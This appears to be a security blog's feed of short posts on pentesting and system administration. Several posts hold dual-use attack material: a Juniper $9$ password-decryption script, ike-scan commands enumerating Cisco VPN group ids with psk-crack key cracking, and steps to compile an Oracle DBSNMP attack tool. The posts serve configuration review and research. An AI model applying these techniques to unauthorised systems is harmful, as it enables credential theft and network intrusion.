stoked-security

quick post: Converting shellcode to opcodes

noreply@blogger.com (Erwin) — Wed, 26 Oct 2011 07:56:00 +0000

Mainly as a note to myself, but other people might benefit from this as well.

Last night I was looking for a way to convert small bits of shellcode into the equivalent opcode. While there is metasm-shell to convert opcodes to shellcode, there is no shell to do it the other way around. Metasm has disassemble.rb, but that's only file based. A quick question in #metasploit resulted in the following one liner, which worked perfectly:

echo -ne "\xeb\xe0" |ndisasm -u -
00000000 EBE0 jmp short 0xffffffe2

Juniper $9$ the equivalent of Cisco type 7

noreply@blogger.com (Erwin) — Mon, 13 Jun 2011 18:48:00 +0000

Some time ago during a configuration review of a Juniper JUNOS device I noticed some sort of hash format starting with $9$. Wondering what format was being used I searched on Google and found a website that was able to get the password instantly. This means that the password is stored in a reversable format and is not a real hash, but some sort of obfuscation. This is similar to the Cisco type 7 password obfuscation, which use the Vinegere algorithm. While you can find many tools to decrypt Cisco type 7 password there are no offline tools you could use for Juniper $9$. After some more searches I found a convenient Perl library named Crypt-Juniper, which allows you to decrypt $9$ passwords. While I am not an experienced Perl coder I wrote th following proof of concept within 5 minutes:

#!/usr/bin/perl

use lib '/some/path/Crypt-Juniper-0.02/lib/'

Use Crypt::Juniper;

my $hash = $ARGV[0];

my $secret = juniper_decrypt($hash);

print "secret: $secret \n";

Using the script is straight forward:

$ perl juniper-decrypt.pl \$9\$U-iqf36A1cSTzRSreXxDik.Tzn/CuBI

secret: ju&iper123

The current 2.0 beta version of Nipper does not warn you about the $9$ format at all. This issue was reported to Titania and the upcoming release of Nipper will report use of the $9$ format. Of course the remediation is easy, use MD5 based hashes ($1$ format) on Juniper JUNOS where possible.

Deluge bittorrent webUI behind reverse proxy

noreply@blogger.com (Erwin) — Wed, 09 Mar 2011 20:11:00 +0000

Maybe not strictly security related, but this might by handy for other people who also want to put their Deluge bittorrent webUI behind a reverse proxy. There are several tutorials available on the internet describing how to do this, but none of them work for the latest stable version (1.3.1) of Deluge. The webUI uses a lot of AJAX and gzip compression for some parts, which makes the use of a reverse proxy more complicated. I've used Apache (2.2.16) with the following enabled modules:

authz_host_module

deflate_module

dir_module

filter_module

headers_module

mime_module

proxy_module

proxy_http_module

rewrite_module

ssl_module

unique_id_module

Not all of them are needed, but most are needed for this setup. Here is the vhost I have configured:

<VirtualHost *:80="">

Servername dmz

ProxyRequests off

ProxyHTMLExtended on

ProxyPass /deluge http://127.0.0.1:8112/

ProxyHTMLURLMap http://127.0.0.1:8112 /deluge

Header unset Server

<location /deluge>

        ProxyPassReverse /

        ProxyPassReverseCookiePath / /deluge/

        SetOutputFilter INFLATE;proxy-html;DEFLATE 

        ProxyHTMLURLMap / /deluge/ ec

        ProxyHTMLURLMap /deluge /deluge ec

        ProxyHTMLURLMap ([^*])(\/[^*].*) $1/deluge$2 hRxL

        #ProxyHTMLLogVerbose On

         Order allow,deny

         Allow from all

</Location>

</VirtualHost>

The webUI is running on a python based web server on port 8112. The "Header unset Server" line will remove the following banner that is normally displayed by the web server:

Server: TwistedWeb/10.2.0

The SetOutputFilter line will inflate the gzip compressed data, modify it and deflate it again. If this configuration stops working for a new version of Deluge the ProxyHTMLLogVerbose option can be uncommented to debug. Also make sure the system running the webUI is able to make outbound connections to torrent trackers in the torrent file you are uploading or the webUI will take forever to load a new torrent file. Happy dowloading!

Quickpost: Running Gentoo and looking for updated John the Ripper ebuild?

noreply@blogger.com (Erwin) — Tue, 11 Jan 2011 11:45:00 +0000

I've just written an updated ebuild for John the Ripper, that includes:
- Latest OpenMP patches
- Latest jumbo patch
- Full OpenMPI support
- MSCache2 support

You can find the ebuild in the Pentoo overlay, which contains a lot of usefull pentest tools. Enjoy!

How hard could it be to brute force a Cisco IPsec VPN group id?

noreply@blogger.com (Erwin) — Tue, 21 Dec 2010 23:20:00 +0000

Apparently not as hard as you would think, due to a recently updated security advisory. The group id is used in Cisco IPsec VPN to distinguish a set of users that use common connection parameters and client attributes. Back in 2005 NTA Monitor discovered that a vulnerable Cisco IPsec implementation would reply to the IKE negotiation if the group name in the IKE message was valid, whereas an invalid group name would result in no response.

The new variant discovered by Gavin Jones of NGS Secure depends on the difference in response for the dead peer detection VID. Dead peer detection or DPD could be seen as a polling mechanism to see if the other IKE peer is still alive. I was wondering how difficult it would be to reproduce given the fact nobody else noticed it for 5 years or cared enough to inform Cisco about it. Since Cisco ASA is the only vulnerable product this would be the most interesting type of device to test, but since I don't have a physical device to test I used an emulated VMWare version provided by the ASA project. The vulnerability is only present when the ASA is used as a remote access VPN and I used this guide with Cisco ASDM to configure it. I could only use DES instead of 3DES or AES encryption, because you need a separate license for it and the virtual ASA simple crashes when you try to add one.

Once configured whe can use ike-scan to probe and test the device. I won't point you to the NTA monitor site, as it is currently reported as malicious website by Google, so be carefull. However if we use ike-scan to probe the ASA using IPsec aggressive mode without a group id using the following command we get no response:

# ike-scan -M -A 192.168.173.50
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9: 1 hosts scanned in 2.437 seconds (0.41 hosts/sec). 0 returned handshake; 0 returned notify

If we specify a random group id we receive the following response:

# ike-scan -M --id=foobar -A 192.168.173.50
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.173.50    Aggressive Mode Handshake returned
    HDR=(CKY-R=0fb137a8ae462a21)
    SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    KeyExchange(128 bytes)
    Nonce(20 bytes)
    ID(Type=ID_IPV4_ADDR, Value=192.168.173.50)
    Hash(20 bytes)
    VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
    VID=09002689dfd6b712 (XAUTH)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
    VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)

If we guess the correct group id we will receive the following response:

# ike-scan -M --id=secret -A 192.168.173.50
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.173.50    Aggressive Mode Handshake returned
    HDR=(CKY-R=c27436032ea1c5fd)
    SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    KeyExchange(128 bytes)
    Nonce(20 bytes)
    ID(Type=ID_IPV4_ADDR, Value=192.168.173.50)
    Hash(20 bytes)
    VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
    VID=09002689dfd6b712 (XAUTH)
    VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
    VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)

The DPD option that is added to the received response will allow us to distinguish between a valid and invalid group id. The PDP VID valua is static and does not change between requests with a valid group id. I was quite surprised that it was this simple. Once we know the valid group id we could save the pre-shared key with the --pskcrack option of ike-scan and use psk-crack consequently to perform a dictionary or brute force attack:

$ psk-crack testkey
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "cisco" matches SHA1 hash a0520306d83e6c642be92f9684c10dfcc409fede
Ending psk-crack: 70752 iterations in 0.194 seconds (364486.85 iterations/sec)

Now that we have the key does that mean the we have VPN access to the network? Unfortunately this is not the case, because commonly the IPsec gateway requests extended authentication through IPsec XAUTH. What we could do however is eavesdrop on another user connecting via IPsec and gain access to the XAUTH authentication credentials, as these are in clear text once we decrypt the IPsec network traffic wih the pre-shared secret we just cracked. Not very likely in a pentesting scenario, but maybe you are lucky and no XAUTH is used on the device you are pentesting.

ike-scan is not the best tool to perform a brute force of the group id in a convenient way, so luckily Francois Ropert recently submitted a Metasploit module to perform the brute force. Currently the module has not yet been added to trunk yet. According the Cisco security response the vulnerability will be fixed in February 2011. It is advised to disable IPsec aggressive mode as a workaround for this vulnerability.

Compiling and running Windows programs on Linux

noreply@blogger.com (Erwin) — Sun, 29 Nov 2009 17:45:00 +0000

While the title of this post could make you wonder why you ever want to do this, there is actually a scenario where this comes handy. Let's say you downloaded exploit code or for instance the sample source code of the Database hackers handbook. In both cases you may encounter source code that requires a Windows development environment to compile. While Microsoft offers free express editions for many of their development tools, you still need a copy of Windows somewhere.

Last week I decided to try a different route with MinGW, which is a port of GCC that can be used to develop native Windows applications. If you want to use MinGW under Linux you have to build a cross compiler. Historically this has been a difficult task. On Gentoo Linux however there is a package named crossdev. Once installed this package automates the task of building a cross compiler. With the following command you can build a MinGW cross compiler:

$ sudo crossdev -t i686-mingw32

Building the cross compiler may take some time. Once installed the following command could be tried to compile one of the source code samples from the Database hackers handbook:

$ i686-mingw32-gcc C2_2.cpp -o dbsnmp.exe

However, you will receive receive several errors:
C2_2.cpp: In function ‘int StartWinsock()’:
C2_2.cpp:83: error: ‘isalpha’ was not declared in this scope
C2_2.cpp: In function ‘int QueryDBSNMP(int)’:
C2_2.cpp:128: error: ‘con’ was not declared in this scope
C2_2.cpp:128: error: ‘nect’ was not declared in this scope
C2_2.cpp:134: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:134: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:135: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:135: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’
C2_2.cpp:142: error: ‘PrintResponse’ was not declared in this scope
C2_2.cpp:143: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:143: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:144: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:144: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’
C2_2.cpp:152: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:152: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:153: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:153: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’
C2_2.cpp:166: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:166: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:167: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:167: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’

The error on line 83, about the isalpha function can be fixed by including ctype.h. The error about line 128 are caused by the extra minus sign in the connect function name. Script kiddie protection, who knows? The rest of the errors could be fixed by casting (char *) the send and receive buffers. Trying to compile again leaves us with one error:

C2_2.cpp:143: error: ‘PrintResponse’ was not declared in this scope

This error is caused by a missing declaration of the PrintResponse() function at the top of the source file. Once that error is fixed we encounter linking errors:
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x125): undefined reference to `_WSACleanup@0'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x158): undefined reference to `_WSAStartup@8'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x18d): undefined reference to `_WSACleanup@0'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x1b9): undefined reference to `_gethostbyname@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x20c): undefined reference to `_inet_addr@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x2cf): undefined reference to `_socket@12'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x30a): undefined reference to `_htons@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x32b): undefined reference to `_bind@12'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x343): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x368): undefined reference to `_htons@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x38d): undefined reference to `_connect@12'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x3a5): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x3e2): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x40d): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x424): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x476): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x4a1): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x4b8): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x50a): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x535): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x54c): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x58b): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x5c3): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x5ee): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x605): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x626): undefined reference to `_closesocket@4'
collect2: ld returned 1 exit status

All these functions are part of winsock library on Windows. What we need to do now is locate winsock.h on the local file system (use the one in the mingw directory, when multiple are found) and add the following options to our compile command:

$ i686-mingw32-gcc C2_2.cpp -o dbsnmp.exe -L/usr/i686-mingw32/usr/include/ -lws2_32

Finally our source compiled and linked and now we can run it with wine:
$ wine dbsnmp.exe

    Oracle DBSNMP Tool

    C:\>dbsnmp.exe host status|stop

    David Litchfield
    davidl@ngssoftware.com
    4th June 2004

Yeah, a running program at last!

Building your own ethernet tap for just over 25 euros

noreply@blogger.com (Erwin) — Mon, 23 Nov 2009 21:47:00 +0000

Recently I was looking for a solution to place an IDS in front of my firewall and monitor my internet connection. This way I would be able to detect all attacks, even the ones that get blocked by my firewall. My ADSL modem is in bridging mode and my firewall has the external IP address of the connection. I have a Siemens modem and although the embedded XSH shell is not very well documented it does not seem like it has a SPAN port feature like some of the Speedtouch ADSL modems, which are also commonly used for broadband connections in the Netherlands.

While I could have run Snort on my firewall, I decided I wanted to have a separate system for monitoring. I looked at buying a 100Mbit tap of the shelve, but those are still too expensive for home use. I searched the internet to see if it would be possible to build my own. Several people already succeeded in building their own, so I decided to give it a shot.

In order to build a tap for 10/100Mbit you need four ethernet ports. Two to connect both hosts and two ports which will receive a copy of either the sent (TX) or receive (RX) pair of wires from the ethernet cable. So each tap port will receive only half of the connection, as shown in the diagram below, which used to be on the Snort website:

This means that the tap ports can only receive traffic, and will not be able to send out any network traffic. This will prevent you from creating dangerous loop holes bypassing your firewall.

I made a small shopping list and tried to get the supplies at the local computer or electronic shops. Many examples use ethernet mounting wall systems with four ports, but those are hard to get in the shops. I ended up taking a different route and I bought two ethernet cat 5e surface mounting wall boxes at the local computer shop. Once you take of the plastic covers you end up with to metal boxes as shown below:

When the covers are taken of you can see the punch through blades for the individual wires, which allow you to do the wiring without soldering. I carefully stripped 15 cm of ethernet cable and took the twisted wire pairs out. Following the coloring diagram above I wired the wire pairs through the punch through blades with a screw driver. It is important to keep the wire pairs twisted, in order to minimize interference. The picture below shows the end result:

Although the wiring does not look too clean in the picture, it turns out it works very well for over a week now, without any interface errors on the firewall. The ethernet tap cost me just over 25 euros and a few hours to build.

The last step is to combine both tap ports into one virtual interface on the monitoring system, which will see the complete traffic flow in both directions. This can be done by using the interface bonding option (CONFIG_BONDING) of the Linux kernel. On Gentoo systems the following configuration in /etc/init.d/net allows the virtual bond interface at boot time:

slaves_bond0="eth0 eth1 "
config_bond0=( "null" )
config_eth0=( "null" )
config_eth1=( "null" )
RC_NEED_bond0="net.eth0 neth.eth1"

Of course the proper symlinks need to be in place in /etc/init.d/ for all network interfaces that must be started at boot time. Tests with tcpdump and wireshark on the bond0 interface show the complete traffic flow between the systems. Next step is to install Sguil on the monitoring system!

PF based NAT firewall quirk

noreply@blogger.com (Erwin) — Mon, 13 Jul 2009 21:03:00 +0000

It's been a while since my last post, but today I decided to finish a post that I started some time ago, but never finished. It's about a configuration issue with the PF firewall when using NAT for the systems behind the firewall. All the examples you will find on the net define the following rule for NAT-ing internal traffic before it is send to the internet:

# NAT inside -> outside
nat on $ext_if from !($ext_if) to any -> ($ext_if)

This may a look a bit cryptic at first sight, but this basically performs NAT on the external interface for packets which have an ip source address, which is not equal (exclamation mark) to the dynamic ip address (denoted by the parentheses) of the external interface. This rule only performs the NAT and does not let the network packets actually flow through the firewall. We need two more rules. One to let the traffic in on the internal interface and one to let the traffic go out on the external interface:

# allow internal lan to access the Internet
pass quick from $int_lan to any

# allow packets out
pass out quick on $ext_if

These rules are not very strict and basicly allow all outgoing traphic, but even if we replace them with stricter ones, something odd happens. In the past I have used iptables a lot and there you have the concept of chains, namely INPUT, OUTPUT and FORWARD. The INPUT and OUTPUT chain are for the local machine or firewall and the FORWARD chain along with the PREROUTING and POSTROUTING chains are for the systems behind the firewall and NAT.

PF does not have that concept and the rules above will also allow all outgoing traffic initiated from the firewall itself! This is probably not what we intended here and is caused by the NAT rule that translates the source ip address of the packets that are about to leave the firewall. Since the source ip address is already translated before the last pass out rule is hit, this rules is not able to differentiate local generated traffic from NAT-ed traffic and will allow all traffic to leave the firewall. So is there a way to prevent this? Luckily there is an option with PF to tag a packet, which labels a packet with a tag that can be read by other rules and acted upon. This way we can differentiate traffic that flows through a NAT rule and traffic that does not.

Let me show you how this works in practice. First we tag packets on the NAT rule:

# NAT inside -> outside
nat on $ext_if from !($ext_if) to any tag NAT -> ($ext_if)

Next we pass out only tagged traffic on the external interface:

# allow NAT-ed packets out
pass out quick on $ext_if tagged NAT

Keep an eye out for this pitfall when performing security reviews on PF rulesets, because I have seen many examples on the internet without the tag option.

Nessus 4.0.0 Gentoo ebuilds

noreply@blogger.com (Erwin) — Wed, 15 Apr 2009 18:58:00 +0000

Today I've updated my Gentoo Nessus ebuilds to the just released version 4. Since the official maintainer of the Nessus ebuilds for Gentoo is very slow with updating, I've submitted the updated packages to the sec-tools overlay. At the moment they are not available yet, but I expect them to become available very soon.

If you can't wait you can also grab the ebuilds for both the server and the client from this Gentoo bug report. Unlike the previous versions this version of the service package does not include any plugins anymore. So in order to do something usefull with it you have to register either a Professional or Home feed at Tenable and fetch the newest plugins once installed.

Please let me know if you encounter any problems and leave a comment here or at bug id 265555.

Channel 13, now you see it, now you don't

noreply@blogger.com (Erwin) — Tue, 07 Apr 2009 20:22:00 +0000

This is just a quick blog post about scanning for wireless Wi-Fi networks. As you might know, in the US only 11 channels are allowed for the B/G band, but outside the US we have a few more channels. Here in the Netherlands also channel 12 and 13 are being used and Japan uses channel 14 as well.

When we scan for wireless networks with for instance airodump-ng using a default Linux installation, we might not directly notice that we are commonly scanning only 11 channels. Access points, ad-hoc networks and clients might show up on channels above 11 depending on your geographic location and the distance to these networks and clients. However, the trouble starts when you actually try to connect to these networks on channels 12, 13 or even 14 using iwconfig, wpa_supplicant or GNOME NetworkManager. Suddenly you are not able to connect, although you detected the network before. How is this possible? This caused by overlapping channels, which is described in this wikipedia article and I quote the relevant section below:

"There are 14 channels designated in the 2.4 GHz range spaced 5 MHz apart (with the exception of a 12 MHz spacing before Channel 14). As the protocol requires 25 MHz of channel separation, adjacent channels overlap and will interfere with each other."

This means there are only three non overlapping channels, namely 1, 6 and 11. The following picture shows the overlap of the other channels (courtesy of the same wikipedia article):

This explains why we detect channels in monitor mode we can't consequently connect to. How can this be fixed? First of all, you need the proper wireless card, because most cards have only the allowed channels enabled for the region they are sold. For some cards other channels can be enabled by hacking the firmware, but that's outside the scope of this blog posting. It also depends on which driver or Linux IEEE 802.11 networking stack the wireless card is using. Many cards use the mac80211 networking stack, which uses a kernel module named cfg80211. This module has the option to set the regdomain using the ieee_regdom variable. This variable accepts currently the values US (default), EU and JP. To enable the correct regdomain at boot time for most Linux distributions the following line should be added to the file /etc/modules.d/cfg80211:

options cfg80211 ieee_regdom=EU

Atheros chipset based wireless cards who use the madwifi-ng drivers need to follow a different procedure, because these drivers use their own hal (hardware abstraction layer) instead of the generic mac80211 layer.

Kismet users should also enable the channels they want to scan for in the kismet.conf configuration file (defaultchannels option).

Welcome to my shiny new blog

noreply@blogger.com (Erwin) — Sat, 07 Feb 2009 21:25:00 +0000

Hi,
Welcome to my shiny new blog! A long time idea, but finally realised in 2009. This blog will contain tips, tricks, research and observations about penetration testing and security in general.

For those who are wondering what stoked means, urban dictionary has a nice definition:

"stoked" - adjective - to be "stoked" is to be completely and intensely enthusiastic, exhilirated, or excited about something. those who are stoked all of the time know this; being stoked is the epitome of all being. when one is stoked, there is no limit to what one can do.

The term is commonly associated with surfing, which is also a hobby of me.